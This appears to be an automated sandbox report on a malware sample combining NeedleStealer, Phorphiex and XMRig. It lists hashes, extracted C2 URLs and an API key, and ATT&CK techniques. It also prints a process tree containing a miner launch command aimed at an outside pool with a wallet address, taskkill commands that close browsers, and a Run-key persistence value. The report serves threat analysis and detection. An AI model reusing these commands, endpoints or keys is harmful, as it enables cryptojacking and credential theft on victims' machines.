needle_stealer | fd862ca3126251f4f0788ff7b583acdc2d88d21bb1f2f1ee06eaa12abdeb7a8a

General

Target
file.exe
Size 10KB
Sample260823-wgd3psaj21
SHA256 fd862ca3126251f4f0788ff7b583acdc2d88d21bb1f2f1ee06eaa12abdeb7a8a
MD5 5359cfeb883005ab71e1d0047ace9b57
SHA1 954e93d603a563325749410197e841b8a3274dd4
SHA512 b283ef5931d6ab255c05712a5af354e84f6be196e3a28c3a7c260e8e3275db8abdec2ffd8f538aa2d5f5996ac4256e45bab141dc0f1dabc8910b01fa97915697
SSDEEP 192:RcolWLwziNBQ5tsxeugRPFJxTEZmFhEorccGFGp:uoBiHAvPFwZsMFG
TLSH
T1AC22D51E2E860331EE6008B0E675864A113D5EE37386FBEBE733D6870AD5D4584C06AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution needle_stealer phorphiex xmrig loader miner persistence spyware stealer trojan worm

Malware Config

Extracted

Family

phorphiex

C2

http://178.16.55.240/
http://178.16.55.240/l/
http://178.16.55.240/nm/
http://178.16.55.240/nmm/

Mutex

464626246

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36

Extracted

Family

needle_stealer

C2

http://130.12.180.135:3000/api/v2

Attributes

api_key
alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f
base_extension
false
self_destruct
false

Signatures

Family: NeedleStealer
NeedleStealer is a modular stealer written in Golang.
stealer needle_stealer
Family: Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detects NeedleStealer payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000c00000001c5dd-42.dat	family_needlestealer

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000c00000001c5df-35.dat	family_xmrig
behavioral2/files/0x000c00000001c5df-35.dat	xmrig

Downloads MZ/PE file 6 IoCs

flow	pid	Process
1	5436	file.exe
1	5436	file.exe
1	5436	file.exe
1	5436	file.exe
1	5436	file.exe
7	3108	4162332257.exe

Executes dropped EXE 9 IoCs

pid	Process
4576	2695822520.exe
4516	3133033900.exe
5076	1378711491.exe
5272	2901221849.exe
3108	4162332257.exe
3536	sysmgnrsv.exe
2328	159469795.exe
3088	sysfrodolv.exe
480	sysmgnrsv.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Config = "\\sysfrodolv.exe"	4162332257.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5084	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3133033900.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1378711491.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2901221849.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4162332257.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2695822520.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysfrodolv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	9	Go-http-client/1.1

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
5760	taskkill.exe
4492	taskkill.exe
4772	taskkill.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe
2328	159469795.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	159469795.exe
Token: SeDebugPrivilege	5760	taskkill.exe
Token: SeDebugPrivilege	4492	taskkill.exe
Token: SeDebugPrivilege	4772	taskkill.exe
Token: SeLockMemoryPrivilege	480	sysmgnrsv.exe
Token: SeLockMemoryPrivilege	480	sysmgnrsv.exe
Token: SeIncBasePriorityPrivilege	480	sysmgnrsv.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
480	sysmgnrsv.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 5436 wrote to memory of 4576	5436	file.exe	88
PID 5436 wrote to memory of 4516	5436	file.exe	89
PID 5436 wrote to memory of 5076	5436	file.exe	90
PID 5436 wrote to memory of 5272	5436	file.exe	91
PID 5436 wrote to memory of 3108	5436	file.exe	92
PID 3108 wrote to memory of 3536	3108	4162332257.exe	94
PID 5436 wrote to memory of 2328	5436	file.exe	96
PID 2328 wrote to memory of 5760	2328	159469795.exe	97
PID 2328 wrote to memory of 4492	2328	159469795.exe	99
PID 2328 wrote to memory of 4772	2328	159469795.exe	103
PID 3108 wrote to memory of 3088	3108	4162332257.exe	105
PID 3088 wrote to memory of 5084	3088	sysfrodolv.exe	106
PID 5084 wrote to memory of 480	5084	cmd.exe	108

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5436
- C:\Users\Admin\AppData\Local\Temp\2695822520.exe
  C:\Users\Admin\AppData\Local\Temp\2695822520.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4576
- C:\Users\Admin\AppData\Local\Temp\3133033900.exe
  C:\Users\Admin\AppData\Local\Temp\3133033900.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4516
- C:\Users\Admin\AppData\Local\Temp\1378711491.exe
  C:\Users\Admin\AppData\Local\Temp\1378711491.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5076
- C:\Users\Admin\AppData\Local\Temp\2901221849.exe
  C:\Users\Admin\AppData\Local\Temp\2901221849.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5272
- C:\Users\Admin\AppData\Local\Temp\4162332257.exe
  C:\Users\Admin\AppData\Local\Temp\4162332257.exe
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Users\Admin\sysmgnrsv.exe
    C:\Users\Admin\sysmgnrsv.exe
    3⤵
    - Executes dropped EXE
    PID:3536
- - C:\sysfrodolv.exe
    \sysfrodolv.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3088
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5084
    - - C:\Users\Admin\sysmgnrsv.exe
        
        C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:480
- C:\Users\Admin\AppData\Local\Temp\159469795.exe
  C:\Users\Admin\AppData\Local\Temp\159469795.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5760
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4492
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedgewebview2.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1378711491.exe

Path C:\Users\Admin\AppData\Local\Temp\1378711491.exe
Size 18KB
SHA256 6f7dc171744100aa4d50cb2b7f22b059861b2992c7d1a97f928ba835bdd2b2c3
MD5 d316c5318b3310ff81580776a06b2eb5
SHA1 c85ef0b963e98a775ddaa0536ce214ff8a37d3e7
SHA512 d295921e53cbb53c1e7e18ebeb0135e5adcf1412cdfcbba145e4c2665e4d4b485660058550dff694c46eef5e48929b829917e5ad25732dfd72998879909ce978
SSDEEP 384:T96I8/V6l6VWo0HlmLu94gXTcjlmxav8U9cml:T9f40Ht9k8a0U
TLSH
T136824A0FB9424326D0E110B09676967BDA79A87633C414DBF7E48AEE0A686D1FC3215F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

159469795.exe

Path C:\Users\Admin\AppData\Local\Temp\159469795.exe
Size 8.3MB
SHA256 ed1d3f69fbbd5576c2ed8dba45ba22c4f6884eb311d4f6e389203846d512ec11
MD5 2cfaefe80e05fe0f093cf5c382d7c77f
SHA1 c2ad2a5b5cd45e6f574d86b6e5b1079ed3063933
SHA512 d75a4743bcb6fa5d879e06ef83536c00408434dff59aee6a182745fe43f57099d9cf3e85cbc149960846ae1d5d4d5cce790baa717f089afbc96bfdf771b1a3d7
SSDEEP 98304:aoM7vbdbj6O/qZLw5tfjf8Bwm1sDjNXX5Ikr3aX5svhUE:aoMLbdbWO/eLafjUBD1+jNnSMq+t
TLSH
T131968D07EC9155A9C0AAE6358A729253BA717C485B3123D73F90F7382F73BD06AB8750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2695822520.exe

Path C:\Users\Admin\AppData\Local\Temp\2695822520.exe
Size 18KB
SHA256 46b17f043c38aaa7bb67986b4101cecdb9cd176f259828f0b4e9fa2f5d7b17ed
MD5 0126590cd5a48d265d7408ffd68619c5
SHA1 3bbe520fdab2d7c75f44b03052f4f928a0d60b82
SHA512 3d66778de85346c519561517d5561c08b2fbcac5c9d41d06caa92d7a32bcfaed145a2cc55da4ec66175242a8850a1658c39dbd4c8dcf400da725bd8de7009948
SSDEEP 384:0S6I8vVaF61SYUQQlmLu94gXTczlmxav8U9cVl:0SPkUQQt9U8a0U
TLSH
T1D9824B0FB9424326D0E11070A676867BDA79A8B633C514DBF7E48AED0A686D1FC3215F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2901221849.exe

Path C:\Users\Admin\AppData\Local\Temp\2901221849.exe
Size 18KB
SHA256 8678a0b7ebe2eccf92cdab9a60bb9d55260c776fcd44ee8a2530cfa379d0460a
MD5 5a490555596fd0084c9816c742f54030
SHA1 fbaae541c1b6a47441e58fadf36a7ef7617db4cd
SHA512 46babd71c2b8a06f89474fccf57bec7bc94c44a27a7b7c7693733f2959531bcc8519a20cc60b9ea97d11515c8a3e9d0795b9cfccbb978c8cfa92a839465af2c9
SSDEEP 384:GP6I8/V6l6Vio0HlmLu94gXTcjlmxav8U9c9bl:GPfk0Ht9k8a0UO
TLSH
T1E4824B0FB9424326D0E110B09676967BDA79A87633C414DBF7E48AEE0A686D1FC3315F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3133033900.exe

Path C:\Users\Admin\AppData\Local\Temp\3133033900.exe
Size 18KB
SHA256 37c11f7513e3f89936105ecc9a6d1d24e5ec8e2c732624d22835024747389569
MD5 0c6008df0c79c76bd9fc6ad19a4c7c4b
SHA1 8a27970da176e3e827414422ee20c46fabfadd0d
SHA512 e58c0e9d461216f3cc1e339f8ef9e3c79f8e621beedb9351620aeede279df9b4a622a4a6c50ddb55b1ec40c26ef342a47b96c4acf4e6f64ef0b567901e0ee62c
SSDEEP 384:k56I8vVaF61eYUQQlmLu94gXTczlmxav8U9cIfl:k5PAUQQt9U8a0UZ
TLSH
T1CF824B0FB9424326D0E11070A676867BDA79A8B633C414DBF7E48AED0A6C6D5FC3215F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4162332257.exe

Path C:\Users\Admin\AppData\Local\Temp\4162332257.exe
Size 12KB
SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
MD5 07bd5d0edaca14204802b8ff7db346ce
SHA1 660784d4aa65c5914978fae86d4f493e26a9b2b1
SHA512 7ba6ede3f8f94eda823241898465fcd71ac5935ed46ed679a525360d44ab6eb9a1298bd7c1c0e7fab28fe096471a62a014c8e147abf752d42118d880b4ad614e
SSDEEP 192:PeeTbgOhmKM84zleg7zL/mmPJxTZ3lk9nAthBsuNOk:mITwG4z0A2oZK9nABsk
TLSH
T1D3421A07AD998121E7F00DB1147E924B86BD3D723BD5AC9FA700F5462DB17A0C472A7D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sysmgnrsv.exe

Path C:\Users\Admin\sysmgnrsv.exe
Size 6.2MB
SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
MD5 ac458ece671fdde066ce60e448f12bc0
SHA1 d31d5d5617a09e09df0cd3bffde6b03f48a0d540
SHA512 f0c8d01b2ae26e2ad1f63d74831a835b37a2f95e3020b66e9a71b161408a5599f2aa4effc2079c6250cc0e9c34ada1b2a6aba771ea388c6a90ead220a840aa99
SSDEEP 98304:N36U0mJMOqh9s03ZMza32r4vQmI4eXUMltMQXfPJFWNNrgs4u/EKgIymvloXMPwn:NL7y5h9FcJFwrgDu/nGmv6iL0Qg
TLSH
T19D569D26B7A400E8C87AC53CC6469513F7B2B81A53B0A7DB17B4967A1F336D41E3EB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3536-37-0x0000016EDC550000-0x0000016EDC570000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads